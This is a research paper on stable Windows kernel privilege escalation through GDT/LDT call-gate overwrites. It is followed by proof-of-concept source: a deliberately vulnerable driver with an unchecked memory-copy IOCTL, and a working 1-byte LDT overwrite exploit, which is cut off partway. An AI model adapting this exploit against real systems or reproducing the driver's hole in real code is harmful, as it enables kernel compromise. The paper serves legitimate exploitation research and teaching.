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Abstract

This paper describes some possible ways of exploiting
kernel-mode write-what-where vulnerabilities in a sta-
ble manner, on Microsoft Windows NT-family systems.
The techniques presented in this document are mostly
based on altering processor-specific structures (such as
the Global Descriptor Table and Local Descriptor Ta-
ble).

This publication does not cover any revolutionary
0-day bugs, nor does it characterize any new vulnera-
bility class. However, it aims to show some interesting
methods that could be employed by exploit developers,
in order to gain more stability in comparison to exist-
ing techniques. Moreover, all hardware-specific infor-
mation included in this paper is only confirmed to be
valid on 32-bit x86 platforms.

The need of a stable exploit path

Nowadays, as kernel-mode vulnerabilities are gaining
more and more attention world-wide (under 5% of Mi-
crosoft security bulletins in 2007, over 10% in 2008),
so are ring-0 exploitation techniques. One of the most
common vulnerability class observed over the last cou-
ple of years is the write-what-where condition, most of-
ten a result of improper pointer validation performed
by kernel modules (device drivers) or unsafe pool un-
linking, after triggering a successful buffer overflow.

As the name itself implies, such a vulnerability
makes it possible for an attacker to elevate the privi-
leges by performing at least a single WRITE operation
in some memory regions that are normally protected
from being written to by unprivileged applications (us-
ing paging and other memory protection mechanisms).
Before conducting a successful attack, however, one
must firstly know what are the desired “what” and
“where” operands.

Many publications have already been released,
pointing out a number of locations that might be used
to gain specific benefits (such as escalating the execu-
tion privileges). A list of these papers includes Exploit-
ing Common Flaws in Drivers[4], Exploiting Windows

Device Drivers[3], and How to exploit Windows kernel
memory pool [6].

The actual problem with the majority of the tech-
niques presented in the above publications is the fact
that they are mostly based on undocumented, internal
Windows behavior, that is not guaranteed to remain in
the same form across system updates, service packs or
respective system versions. Therefore, before perform-
ing the real exploitation, one is often obliged to check
the system version or employ additional heuristic algo-
rithms (e.g. signature kernel memory scanning).

As it turns out, it is possible (and very convenient)
to take advantage of some hardware-specific structures,
that are undoubtedly implemented across every single
Windows version, in the very same way. To be more
precise, the structures covered in this paper are the
Global and Local Descriptor Tables, one of the most
essential parts of protected mode itself. By overwrit-
ing these structures in a certain way, one is able to
perform a privilege escalation attack, compatible with
every Windows NT system, provided it is running on
an x86 processor.

Windows GDT and LDT

The Global and Local Descriptor Tables are sets of spe-
cific x86 structures used to define memory segments for
both data and code, as well as other system descriptors
like Task State Segments or Call-Gates. Also, the LDT
itself is defined as a single GDT entry. For more details
regarding the GDT and LDT, please refer to the Intel
Manual, Volume 3A[2].

Despite the fact that Microsoft Windows imple-
ments a flat memory model, and that protected mode
enforces the system to set up at least one Task State
Segment per processor, the GDT has more entries than
necessary. The table normally consists of a pair of
kernel-mode code and data segment entries with De-
scriptor Privilege Level set to 0, a pair of user-mode
code and data segment entries (DPL=3), one TSS en-
try, as well as three additional data segment entries
and an optional LDT entry. Neither Windows GDT,
nor LDT have any Call-Gate entries, by default. Ta-
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Index Type Base Limit DPL Notes
0 null null segment
1 code 0 FFFF (*4KB) 0 kernel-mode code segment
2 data 0 FFFF (*4KB) 0 kernel-mode data segment
3 code 0 FFFF (*4KB) 3 user-mode code segment
4 data 0 FFFF (*4KB) 3 user-mode data segment
5 tss 80042000 20AB 0 Task State Segment (per-processor)
6 data FFDFF000 1 (*4KB) 0 Windows Processor Control Region

(per-processor)
7 data 7FFDF000 FFF 3 Windows Thread Environment Block

(TEB) (per-thread)
8 data 400 FFFF 3 used by Windows NTVDM
9 ldt 86811000 7 0 optional custom LDT (per-process)

Table 1: A typical Global Descriptor Table on Microsoft Windows

ble 1 presents the original GDT table of the Microsoft
Windows XP system.

The GDT itself, as well as the TSS and PCR de-
scriptor entries it contains, are defined per-processor.
The TEB segment is defined per-thread (it is replaced
during a thread-context switch), and the optional cus-
tom LDT is defined per-process.

By default, a new process does not have any Local
Descriptor Table defined. Instead, it can be allocated
on demand, i.e. when the process requests a new LDT
entry to be created (as described by Z0mbie[7]). A
pointer to the per-process LDT table is kept inside the
associated KPROCESS structure, in the LdtDescrip-
tor field. On a context switch to a different process,
this field it loaded into the GDT table, and a LGDT
command is issued.

The GDT and LDT management functions are scat-
tered between the Win32API and the Native API.
These APIs provide the following functions:

• GetThreadSelectorEntry – query GDT/LDT
entries (Win32API),

• NtQueryInformationProcess (ProcessLdtIn-
formation) – query LDT entries (Native API),

• NtSetLdtEntries – write LDT entries (Native
API),

• NtSetInformationProcess (ProcessLdtInfor-
mation) – write LDT entries (Native API),

• other

However, there are several restrictions regarding cus-
tom LDT entries, including the base and base+limit
being limited to user-space, the segment being acces-
sible in user mode (Descriptor Privilege Level field set
to 3), and the segment type being limited to data and
code segments only.

Creating a Call-Gate entry in

LDT

As we already have some basic knowledge regarding
the GDT and LDT structures, it’s time to apply real
kernel modifications. Our main purpose is to cause the
payload to be executed within ring-0 privileges. There-
fore, one of the most intuitive ways of transitioning the
code flow ring3→ring0 using descriptor tables is prob-
ably to set up a Call-Gate, pointing at our own code.
Since this mechanism is designed so that it is possible
to make such transitions, the only thing we have to do
is to make an existing descriptor entry become a Call-
Gate, or build one from scratch. Let’s start from the
beginning, though.

As stated in the previous section, Windows pro-
cesses don’t have any default LDT entry specified. The
kernel is responsible for allocating necessary memory
the first time the process tries to set up its own local
descriptor. Building the LDT in the context of a local
process can be achieved by using either the NtSetInfor-
mationProcess or NtSetLdtEntries functions (both un-
documented). In 2002, Z0mbie implemented and pub-
lished some exemple functions for playing with the
GDT/LDT tables on Windows 2000; a majority of
these methods haven’t changed since then, though.

Before trying to modify the LDT contents, one
should firstly note a few important facts. To be-
gin with, there are multiple consequences of the first
NtSetInformationProcess(ProcessLdtInformation)
function call. Primarily, the amount of virtual mem-
ory required to hold a new entry is allocated. Next, a
special descriptor of the TSS/LDT type is formed and
set up in the global table.
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Figure 1: Data Segment (source) compared to the Call-Gate Descriptor (destination)

Because of the fact that the number of Global De-
scriptor Tables is the same as the number of proces-
sors the system is running on and, on the other hand,
each process may have its own LDT, the system kernel
must somehow manage variable GDT entries. In order
to do so, every single process has its own LdtDescrip-
tor structure inside the KPROCESS object. When a
task switch occurs, the thread manager replaces the
current LDT descriptor with the one associated with
the thread to be executed. Moreover, after the GDT is
correctly filled with new data, the IDTR register value
is set to a valid GDT index.

After having the LDT created in the context of our
process (the contents are not important yet), we need
to retrieve the actual table address; two stages are re-
quired to achieve this:

1. Get the IDTR register value (segment selector),

2. Get the GDT descriptor, based on the selector
from previous step.

The first stage can be easily achieved by using the stan-
dard SLDT instruction[5]. As for the second one, Mi-
crosoft provides a special API function that can be

used to retrieve information about a specified selector
– GetThreadSelectorEntry [1].

Since Windows does not want any user to be able
to create every kind of a descriptor inside LDT, the
NtSetInformationProcess/SetLdtEntries functions are
limited to defining only Code/Data (both 16- and 32-
bit) segments with DPL=3. Therefore, there are three
options available for us:

• Transforming an existing Data descriptor into a
Call-Gate,

• Transforming an existing Code descriptor into a
Call-Gate,

• Creating a Call-Gate descriptor from the very be-
ginning (using the free area inside LDT).

It is confirmed that all of these options work in
practice; however, only the first one is going to be thor-
oughly described here.

First of all, let’s take a look at the two structures we
are going to deal with – Figure 1 presents a complete
comparison.

Because of the fact that the most commonly ob-
served write-what-where vulnerabilities make it possi-
ble to overwrite four kernel memory bytes (a single
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Figure 2: Data and Call-Gate Descriptors compared (four bytes controlled)

machine word), it is important to fit in this limitation.
Furthermore, as will be shown, it is also possible to
achieve the desired result by modifying only one single
byte.

4-byte write-what-where exploitation

Let’s begin with the easier variant – modifying 4 bytes
out of 8 (which is the actual size of one GDT entry).
Since at the time of performing a write operation, the
four remaining bytes have to be already properly ini-
tialized (i.e. be valid Call-Gate structure fields), the
exact structure offset to be written to must be chosen
very carefully. In particular, our goal is to control as
much of the structure contents as possible – let’s take
a look at the Data-Segment Descriptor, then. As we’re
setting up the LDT entry by ourselves, the fields under
control are:

• Base Address (WORD BaseLow, BYTE
BaseMid, BYTE BaseHi) – these three fields,
spread across the structure, make up a 32-bit
base address of the segment. The only limita-
tion here is the fact that this address must point
to somewhere inside user memory (must not be
greater than 0x7FFFF000).

• Segment Limit (WORD LimitLow, DWORD
LimitHi:4 ) – a 20-bit long value, storing infor-
mation about how long (in bytes or 4 kilobytes)
the specified segment is.

The above two numbers occupy 52 out of 64 bits,
which gives us a decent control over the structure. To
make things as easy as possible, the WRITE operation

should target the second DWORD, containing sensitive
information such as Entry Type, DPL and a few addi-
tional flags. As mentioned before, we must ensure that
the first four bytes are correctly initialized (ready to
become a part of the Call-Gate structure). Below, you
can find the fields involved in the “structure switch”,
and what they should be filled with:

• Segment Limit 15:00 → Offset in Segment 15:00 :
In a Call-Gate, the destination field contains the
lower WORD of the destination routine address,
which must be passed as the LimitLow field for
a Data Segment.

• Base Address 15:00 → Segment Selector : In a
call-gate, the segment selector contains the value
of CS: register after the privilege mode switch
occurs. In practice, it is most likely to be set
to 8 (which is the second GDT entry, after the
default, empty one).

Having half of the structure already initialized, let’s
focus on the second part (entirely overwritten while
exploiting the write-what-where condition). Table 2
shows the proper way of filling the upper 32 bits.

More details can be found in the Proof of Concept
(exploit 4byte.cpp) source code enclosed to this paper.

1-byte write-what-where exploitation

As it turns out, overwriting a 32-bit value is even more
than is actually required to conduct a successful attack.
As the previous section states, the number of bits we
initially control is 52 – the remaining 12 bits are nor-
mally beyond our control (containing critical informa-
tion like descriptor type, DPL Present flag etc). If we
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Figure 3: Data and Call-Gate Descriptors compared (one byte controlled)

manage to modify another 8 bits using the write-what-
where vulnerability, only 4 uncontrolled bits remain!

Offset in Segment
31:16

The upper WORD
of the Call-Gate
routine, i.e. the
payload

(P)resent flag 1
DPL 11
Descriptor Type 1100
Param Count 0 (irrelevant)

Table 2: The desired flag values in a Call-Gate descrip-
tor

Due to the fact that it is impossible to transform a
data descriptor into a call gate without modifying the
Descriptor Type field itself, we have no other choice
than to “use” the eight additional, controlled bits on
changing the 6th structure byte. The 4 bits that are left
uncontrolled belong to the “Offset in Segment 31:16”
address field – these bits are bit 21, bit 22, bit 23 and
bit 24 of the routine address. This means, more or
less, that the code execution might be forwarded to
a memory area across 15,728,640 bytes (15MB), and
we do not know the exact address. Whoever has heard
about the heap spraying technique might already know
a solution to this problem.

It is possible to easily allocate a continuous mem-
ory area sized 15MB, by invoking either standard API
or undocumented functions (i.e. VirtualAlloc or NtAl-
locateVirtualMemory). After we’ve got this memory
set up, a well-known nop slide technique can be em-
ployed in order to “catch” the execution flow at what-
ever address it lands on, and direct the path to the

final payload code, placed at the beginning of the 16th

megabyte. In this particular case, however, we decided
to use the jmp trampoline technique with 16 “jmp”
instructions directly pointing to the payload – each
placed at the beginning of a 1MB memory area – Fig-
ure 4 should give you a better understanding of the
“jump table” memory layout.

For more details, please refer to the ex-
ploit 1byte.cpp source code, illustrating the process of
converting a valid data descriptor into a Call-Gate.

Figure 4: “Jump traps” amortizing the unknown ad-
dress bits

Custom LDT goes User Mode

So far we have looked through some possible ways of
playing with the LDT contents in order to escalate the
execution privileges. However, as explained before, the
Local Descriptor Table itself is a part of GDT, having

5



Figure 5: Call-Gate address assembled in Data Segment and Call-Gate Descriptors

its own selector (stored in the LDTR register), descrip-
tor and other settings. Therefore, instead of modify-
ing what is inside LDT, one could simply try to begin
with redirecting the LDT address in the first place! By
doing so, one could get a chance to make the LDT de-
scriptor point to user mode memory. Because of the
fact that this is a per-process structure, there is no
chance for an unexpected BSoD in the mean time; the
address defined by the attacker will only be used when
his application desires to do so.

If we actually managed to forward LDT to a con-
trolled memory area, we would get automatic control
over the entire table contents. Therefore, any number
of Call-Gates / other descriptors could be created and
successfully used by our code (such as CALL FAR in-
structions). The only question here is – is it possible
to perform the redirection by modifying, again, only
4 (out of 8) bytes of the LDT entry? The answer is
– YES, it is possible indeed. To get a better view of
what is the target now, the reader is advised to take a
look at Figure 1, System Descriptor.

In general, it would be best to modify as few bytes
as possible – the only field to alter here is the descrip-
tor Base Address. However, since we’re supposed to
overwrite memory using 4 bytes (or it’s multiplicity),
there is no other option but to change the whole up-
per DWORD of the descriptor (including “Base 31:24”,
“Limit 19:16”, “Base 23:16” and some flags). On the
other hand, we are able to get the original LDT descrip-
tor easily, then operate only on the fields that we are
interested in (i.e. the upper 16 bits of Base Address).

However, some important facts about how Win-
dows handles the GDT during context switches, must
be taken into consideration. Since the LDT is a per-
process mechanism, each thread should have access to
the table owned by its process. On the other hand,
there are only n GDTs (n = number of processors)
present in the system. Therefore, during every sin-
gle thread switch, some volatile descriptors (such as
the FS: data segment or LDT) are replaced with the

ones defined by the thread to be executed. As can be
seen, some GDT entries are non-permanent and have
to be stored somewhere else in memory (such as inter-
nal thread/process structures), and put into the global
table when needed.

For example, if one decided to overwrite a volatile
GDT entry, it would remain modified until a context
switch would occur (which happens pretty often). In
order to change such a descriptor in a permanent man-
ner, it is required to find the exact localization, where
the original value is stored, in the first place. In the
case of the LDT, one can find the following field in the
undocumented KPROCESS structure:

nt! KPROCESS

+0x000 Header : DISPATCHER HEADER

+0x010 ProfileListHead : LIST ENTRY

+0x018 DirectoryTableBase : Uint4B

+0x01c LdtDescriptor : KGDTENTRY

+0x024 Int21Descriptor : KIDTENTRY

+0x02c ThreadListHead : LIST ENTRY

(. . .)

Therefore, we need to find the current process’
KPROCESS structure and overwrite a part of the Ldt-
Descriptor field. When it’s done, a single context
switch will do the rest of job; when our thread regains
execution, the modified LDT descriptor will already
be loaded. The question is, however, how to find the
internal structure describing the current process; the
solution is very simple: NtQuerySystemInforma-
tion(SystemHandleInformation).

Windows kernel makes it possible for every appli-
cation to retrieve the complete list of all object han-
dles present in the system (gathered from all pro-
cesses), through the undocumented NtQuerySystemIn-
formation routine together with the SystemHandleIn-
formation request type. A structure describing a sin-
gle HANDLE includes the creator process ID, handle
value, and most importantly, the kernel object address.
As the Process Objects are associated with the KPRO-
CESS structure itself, the following steps make it pos-
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sible for us to calculate the precise address of the Ldt-
Descriptor field inside the current process’ kernel-mode
structure:

1. Open a real handle to the self-process by dupli-
cating the GetCurrentProcess() pseudo-handle,

2. Call the NtQuerySystemInformation function,

3. Go through the returned list in search of the de-
sired CreatorProcessId and Handle values,

4. Return the Object field plus LdtDescriptor off-
set (0x20 on Windows XP/Vista, 0x1C on Win-
dows7).

Right after performing the overwrite, the application
gains full control over the LDT contents; it can create
Data / Code / Call-Gate / other types of descriptors
without any restrictions. The specific way of how the
elevation of privileges is achieved from this point on
is up to the attacker; one possible way is to follow the
exploitation steps covered in the previous section – set-
ting up a valid Call-Gate in the context of user-mode
memory should no longer be a problem.

Summary

Kernel mode vulnerabilities have been around for a sig-
nificant amount of time; however, they’re riveting more
and more attention of the security world, recently. As
the number of vulnerabilities found in device drivers
and standard system modules is constantly growing,
so are the exploitation techniques. Because of the
fact that the majority of Windows users are spread
across Windows XP, Windows Vista and Windows 7,
exploitation compatibility might often pose a problem
for exploit developers. In order to minimize the number
of version-dependant mechanisms, it is recommended
to take advantage of the hardware specifics rather than
rely on undocumented system behavior that might turn

out to be changed in the future or simply not work un-
der certain circumstances.

By using the Global and Local Descriptor Tables
as the write-what-where target, one can be sure that
not only will his exploit stably work regardless of the
platform being attacked, but also is very likely to be
compatible with any future x86 Windows edition.
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Attachments

The Proof of Concept source code is attached
to this PDF. Alternatively the source code can
be downloaded from http://vexillium.org/dl.php?

ldtsource.zip.
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source/Driver/driver.c

#include <ntddk.h>
#include <windef.h>
#include "../driver.h"

PDEVICE_OBJECT pDeviceObject = NULL;

VOID     DriverUnload(PDRIVER_OBJECT);
NTSTATUS DriverCmd(IN PDEVICE_OBJECT, IN PIRP);
NTSTATUS DriverUnsupported(PDEVICE_OBJECT, PIRP);

const WCHAR DriverName[]    = L"\\Device\\WWWVuln";
const WCHAR DosDeviceName[] = L"\\DosDevices\\WWWVuln";
const  CHAR DriverVersion[] =  "W-W-W Vulnerable driver v0.0.1 by j00ru//vx";



/* IOCTL handling functions */
NTSTATUS
HandleQueryVersion(
	PVOID InBuffer,     // UNUSED
	PVOID OutBuffer,    
	ULONG InBufferSize, // UNUSED
	ULONG OutBufferSize
)
{
  DbgPrint("[+] WWWVuln.SYS: HandleQueryVersion() called.\r\n");

  __try
  {
    if(OutBufferSize<sizeof(DriverVersion)) 
    {
      ExRaiseStatus(STATUS_INVALID_PARAMETER);
    }

    /* Check if there's enought space in the OutBuffer user-mode memory... */
    ProbeForWrite(OutBuffer,sizeof(DriverVersion),sizeof(CHAR));

    /* Copy the version string to the destination buffer */
    RtlCopyMemory(OutBuffer,DriverVersion,strlen(DriverVersion)+sizeof('\0'));
  }
  except(EXCEPTION_EXECUTE_HANDLER)
  {
    return GetExceptionCode();
  }

  return STATUS_SUCCESS;
}


NTSTATUS
HandleFinish(
	PVOID InBuffer,       // UNUSED
	PVOID OutBuffer,      // UNUSED
	ULONG InBufferSize,   // UNUSED
	ULONG OutBufferSize   // UNUSED
)
{
  DbgPrint("[+] WWWVuln.SYS: HandleFinish() called.\r\n");  
  /* Is it gonna be used at all? */
  return STATUS_NOT_SUPPORTED;
}


NTSTATUS
HandleCopyData(
	PVOID InBuffer,
	PVOID OutBuffer,     // UNUSED
	ULONG InBufferSize,  
	ULONG OutBufferSize  // UNUSED
)
{
  DbgPrint("[+] WWWVuln.SYS: HandleCopyData() called.\r\n");  

  RtlCopyMemory(OutBuffer,InBuffer,InBufferSize);
  return STATUS_SUCCESS;
}


NTSTATUS
DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RPath)
{
	NTSTATUS status;
	UNICODE_STRING u_DriverName, u_DosDeviceName;
	UINT i;

  DbgPrint("[+] WWWVuln.SYS: DriverEntry() called.\r\n");

	RtlInitUnicodeString(&u_DriverName, DriverName);
	RtlInitUnicodeString(&u_DosDeviceName, DosDeviceName);

	status = IoCreateDevice(
			DriverObject,
			0,
			&u_DriverName,
			FILE_DEVICE_UNKNOWN,
			FILE_DEVICE_SECURE_OPEN,
			FALSE,
			&pDeviceObject
			);

	if(!NT_SUCCESS(status))
	{
		return status;
	}

	IoCreateSymbolicLink(
			&u_DosDeviceName, 
			&u_DriverName
			);

	for(i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
	{
		DriverObject->MajorFunction[i] = DriverUnsupported;
	}

	DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverCmd;
	DriverObject->DriverUnload = DriverUnload;

  DbgPrint("[+] WWWVuln.SYS: The module initialization has succeeded.\r\n");

	return status;
}

VOID
DriverUnload(PDRIVER_OBJECT pDriverObject)
{
	UNICODE_STRING u_DosDeviceName;

  DbgPrint("[+] WWWVuln.SYS: DriverUnload() called.\r\n");

	RtlInitUnicodeString(&u_DosDeviceName, DosDeviceName);
	IoDeleteSymbolicLink(&u_DosDeviceName);
	IoDeleteDevice(pDeviceObject);
}

NTSTATUS 
DriverUnsupported(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
	return STATUS_NOT_SUPPORTED;
}



NTSTATUS 
DriverCmd(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
	NTSTATUS status = STATUS_SUCCESS;
	PIO_STACK_LOCATION irpStack;
	PVOID InBuffer, OutBuffer;
	ULONG InBufferSize, OutBufferSize;
	ULONG IOCtlCode;
	IO_STATUS_BLOCK IoStatusBlock;
	

	irpStack = IoGetCurrentIrpStackLocation(Irp);
	
  /* Get the basic data pointers provided by a user-mode application */
	InBuffer      = irpStack->Parameters.DeviceIoControl.Type3InputBuffer;
	InBufferSize  = irpStack->Parameters.DeviceIoControl.InputBufferLength;
	OutBuffer     = Irp->UserBuffer;
	OutBufferSize = irpStack->Parameters.DeviceIoControl.OutputBufferLength;
	IOCtlCode     = irpStack->Parameters.DeviceIoControl.IoControlCode;

	/* at the begining, assume everything will be ok */
	status = STATUS_SUCCESS;

	switch(IOCtlCode)
	{
		case IOCTL_BUGGY_QUERY_VERSION:
      status = HandleQueryVersion(InBuffer,OutBuffer,InBufferSize,OutBufferSize);
      break;
    case IOCTL_BUGGY_FINISH:
      status = HandleFinish(InBuffer,OutBuffer,InBufferSize,OutBufferSize);
      break;
    case IOCTL_BUGGY_COPY_DATA:
      status = HandleCopyData(InBuffer,OutBuffer,InBufferSize,OutBufferSize);
      break;
    default:
      status = STATUS_NOT_SUPPORTED;
	}
	
	Irp->IoStatus.Status = status;
	IoCompleteRequest(Irp, IO_NO_INCREMENT);

	return status;
}
					








source/Driver/MAKEFILE

#
# DO NOT EDIT THIS FILE!!!  Edit .\sources. if you want to add a new source
# file to this component.  This file merely indirects to the real make file
# that is shared by all the driver components of the Windows NT DDK
#

!INCLUDE $(NTMAKEENV)\makefile.def







source/Driver/SOURCES

TARGETNAME=PoolVuln
TARGETPATH=.\sys
TARGETTYPE=DRIVER
TARGETLIBS=$(DDK_LIB_PATH)\ntdll.lib
SOURCES=driver.c







source/driver.h

#ifndef _IOCTLCMD_H
#define _IOCTLCMD_H

#define IOCTL_BUGGY_QUERY_VERSION \
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x880, METHOD_BUFFERED, FILE_READ_DATA)
#define IOCTL_BUGGY_FINISH \
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x881, METHOD_BUFFERED , FILE_READ_DATA)

#define IOCTL_BUGGY_COPY_DATA \
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x882, METHOD_NEITHER , FILE_READ_DATA)

NTSTATUS
HandleQueryVersion(
	PVOID,
	PVOID,
	ULONG,
	ULONG
);

NTSTATUS
HandleFinish(
	PVOID,
	PVOID,
	ULONG,
	ULONG
);

NTSTATUS
HandleCopyData(
	PVOID,
	PVOID,
	ULONG,
	ULONG
);

#endif








source/Exploit_1ByteOverwrite/exploit_1byte.cpp


source/Exploit_1ByteOverwrite/exploit_1byte.cpp

// 


// Proof of Concept exploit of a write-what-where vulnerability


// using a 1-byte custom LDT entry overwrite


// by Matthew "j00ru" Jurczyk and Gynvael Coldwind


//


// MinGW GCC (mingw.org):


// g++ -Wall -Wextra exploit_1byte.cpp -lntdll -lpsapi -masm=intel


//


#include <stdio.h>


#include <stdlib.h>


#include <windows.h>


#include <winioctl.h>


#include <winbase.h>


#include <ntdef.h>


#include <psapi.h>


#include "../driver.h"





// ------------------------------------------------------------------


// Global declarations


// ------------------------------------------------------------------





extern "C" NTSTATUS STDCALL


NtSetInformationProcess(


    IN HANDLE ProcessHandle,


    IN ULONG ProcessInformationClass,


    IN PVOID ProcessInformation,


    IN ULONG ProcessInformationLength);





static LPVOID GetDriverImageBase(PCHAR BaseName);


static LPVOID GetKernelProcAddress(PCHAR KernelModule, PCHAR FunctionName);


static BOOL GetDriverVersion(HANDLE hDevice);


static BOOL SendFinishSignal(HANDLE hDevice);


static WORD GetFS(void);


static WORD GetLDT();


static int MySetLDTSelectorEntry(HANDLE hProcess,


                          DWORD dwSelector,


                          LPLDT_ENTRY lpSelectorEntry);


static VOID PayloadProc();


static VOID GoKernel();





// ------------------------------------------------------------------


// Global variables


// ------------------------------------------------------------------





const char DeviceName[] = "\\\\.\\WWWVuln";


VOID (*KeBugCheck)(DWORD);





// ------------------------------------------------------------------


// PayloadProc()


// ring 0


// ------------------------------------------------------------------


static VOID


PayloadProc()


{


 // Show a BSoD with error 31337


 KeBugCheck(0x31337);





 // In case it returns (wtf?), make a debugger stop


 // or hang the process


 asm("int3");


 for(;;);


}





// ------------------------------------------------------------------


// GoKernel()


// ------------------------------------------------------------------


static VOID GoKernel()


{


  // Enter through the gate to ring0


  Sleep(0); // We don't like context switches


  asm("call 4:0x13371337");


}





// ------------------------------------------------------------------


// main()


// ------------------------------------------------------------------


int main()


{


  HANDLE hDevice;


  DWORD BytesReturned;


  LDT_ENTRY ldt;





  // Display some banner


  puts("Proof of Concept exploit of a write-what-where vulnerability\n"


       "using a 4-byte custom LDT entry overwrite\n"


       "by Matthew \"j00ru\" Jurczyk and Gynvael Coldwind");





 // Get address of KeBugCheck (ring0 function, used in PoC shellcode)


 KeBugCheck = (typeof(KeBugCheck))GetKernelProcAddress(


     (PCHAR)"ntoskrnl.exe",


     (PCHAR)"KeBugCheck");


 printf("[+] KeBugCheck:             0x%.8x\n", (UINT)KeBugCheck);





  // Bind current thread to the first core/CPU


  printf("[+] SetAffinityThread:      0x%.8x\n",


      (UINT)SetThreadAffinityMask(GetCurrentThread(), 1));





  // Get FS selector entry


  printf("[+] GetThreadSelectorEntry: 0x%.8x\n",


      GetThreadSelectorEntry(GetCurrentThread(), GetFS(), &ldt));





  // Allocate memory and create a NOP-slide / NOP-trap (16MB)


  BYTE* Pointer = NULL;


  


  UINT i;


  for(i = 0x03000000; i < 0x7f000000; i += 0x01000000)


  {


    Pointer = (BYTE*)VirtualAlloc(


           (LPVOID)i,


           0x01000000,


           MEM_COMMIT|MEM_RESERVE,


           PAGE_EXECUTE_READWRITE);





    if(Pointer)


      break;    


  }





  // No luck?


  if(!Pointer)


  {


    printf("[-] VirtualAlloc:           failed\n"


           "    Could not find 16MB continuous memory!\n");


    return 1;


  }





  // Lucky!


  printf("[+] VirtualAlloc:           0x%.8x\n",


         (UINT)Pointer);





  memset(Pointer,0x90,0x01000000);





  // Make a jump at the begining of every megabyte


  for(i = 0; i < 0x01000000; i += 0x100000)


  {


    Pointer[i] = 0x68;                            // PUSH imm32


    *(DWORD*)&Pointer[i+1] = (DWORD)&PayloadProc; // imm32


    Pointer[i+5] = 0xC3;                          // RET


  }





  // Setup a custom LDT entry, with the Call Gate and Data Segment


  // structure differences and similarities taken into account


  ldt.LimitLow =              (WORD)((UINT)Pointer & 0xFFFF); // Offset Low


  ldt.BaseLow  =              0x0008;                         // Segment Selector


  ldt.HighWord.Bits.BaseHi  = ((DWORD)Pointer) >> 24;         // Offset High (hi-hi-part to be exact)


  ldt.HighWord.Bits.BaseMid = 0x00;                           // Param count


  


  printf("[+] MySetLDTSelectorEntry:  0x%.8x\n",


      MySetLDTSelectorEntry(GetCurrentProcess(), 0x07, &ldt));





  // Get LDT address in kernel space


  GetThreadSelectorEntry(GetCurrentThread(), GetLDT(), &ldt);


  DWORD LdtBaseAddress = ldt.BaseLow |


    (ldt.HighWord.Bytes.BaseMid << 16) |


    (ldt.HighWord.Bytes.BaseHi << 24);


   


  printf("[+] LDT Base Address:       0x%.8x\n", (UINT)LdtBaseAddress);





  


  // This is the byte we overwrite with


  // EC is Type = Call Gate and DPL = 0


  BYTE LDT = 0xEC;





  // Connect to the vulnerable driver


  hDevice = CreateFileA(DeviceName, GENERIC_READ | GENERIC_WRITE, 0,


      NULL, OPEN_EXISTING, 0, NULL);


  if(hDevice == NULL)


  {


    // Ups, no driver?


    printf("[-] CreateFileA failed. LastError: 0x%.8x\n"


           "    (forgot to load the driver?)\n",


           (UINT)GetLastError());





    // Eject!


    return 1;


  }


  puts("[+] Opened a handle to the vulnerable device driver");





  // Get version


  // (well, it's our driver, so we would like to know ;p)


  if(!GetDriverVersion(hDevice))


    return 1;





  // Send a packet to exploit the write-what-where in the driver


  DeviceIoControl(hDevice,


                  IOCTL_BUGGY_COPY_DATA,


                  &LDT,


                  sizeof(LDT),


                  (LPVOID)(LdtBaseAddress+5),


                  sizeof(LDT),


                  &BytesReturned,


                  NULL);





  // At this moment, it's done. It's exploited. Let's wait for the user


  // to prepare for the KeBugCheck aka Blue Screen of Death and hit Enter


  puts("[+] The CopyData() IOCTL signal sent.\n"


       "    Press ENTER to trigger a kernel-mode code execution (aka BSoD)...");


  getchar();





  //__asm("int3");





  // Go kernel!


  GoKernel();





  // In the current state of things, this will never be reached


  // But anyway, let's perform a cleanup and exit


  SendFinishSignal(hDevice);


  CloseHandle(hDevice);


  return 0;


}





// ------------------------------------------------------------------


// GetFS()


// ------------------------------------------------------------------


static WORD


GetFS(void)


{


  // Get FS


  WORD fs;


  __asm("mov ax, fs" : "=a"(fs));


  return fs;


}





// ------------------------------------------------------------------


// GetLDT()


// ------------------------------------------------------------------


WORD


GetLDT(void)


{


  WORD LDTSelector = 0;


  __asm("sldt %0" : "=a"(LDTSelector));


  return LDTSelector;


}





// ------------------------------------------------------------------


// GetDriverImageBase()


// ------------------------------------------------------------------


static LPVOID


GetDriverImageBase(PCHAR BaseName)


{


  LPVOID* BaseAddresses;


  LPVOID  lpDriverAddr = NULL;


  DWORD   cbNeeded;


  ULONG   i;





  // How many drivers are there ?


  EnumDeviceDrivers(NULL, 0, &cbNeeded);





  // Alloc memory


  BaseAddresses = (LPVOID*)malloc(sizeof(LPVOID)*cbNeeded / sizeof(LPVOID));





  // Get drivers!


  if(!EnumDeviceDrivers(BaseAddresses,cbNeeded,&cbNeeded))


    return NULL;  





  // Check names


  for(i = 0; i < cbNeeded / sizeof(LPVOID); i++)


  {


    CHAR FileName[MAX_PATH];


    GetDeviceDriverBaseNameA(BaseAddresses[i], FileName, sizeof(FileName));





    // Is this it?


    if(!_stricmp(FileName, BaseName))


    {


      // Yep!


      lpDriverAddr = BaseAddresses[i];


      break;


    }


  }





  // Free and return


  free(BaseAddresses);


  return lpDriverAddr;


}





// ------------------------------------------------------------------


// GetKernelProcAddress()


// ------------------------------------------------------------------


static LPVOID 


GetKernelProcAddress(PCHAR KernelModule, PCHAR FunctionName)


{


  // Load the module


  HMODULE hModule = LoadLibraryEx(KernelModule, NULL, DONT_RESOLVE_DLL_REFERENCES);


  if(hModule == NULL)


    return NULL;





  // Get address


  LPVOID pFunction = (LPVOID)GetProcAddress(hModule, FunctionName);


  if(pFunction == NULL)


    return NULL;





  // Get base address in ring0


  MODULEINFO ModuleInfo;


  if(!GetModuleInformation(GetCurrentProcess(), hModule, &ModuleInfo, sizeof(ModuleInfo)))


    return NULL;





  // Caclc ring0 VA and return


  return (LPVOID)((DWORD)pFunction - (DWORD)hModule + (UINT)GetDriverImageBase(KernelModule));


}





// ------------------------------------------------------------------


// GetDriverVersion()


// ------------------------------------------------------------------


static BOOL 


GetDriverVersion(HANDLE hDevice)


{


  static char VersionBuffer[4096];


  DWORD BytesReturned;


  


  // Query for a version


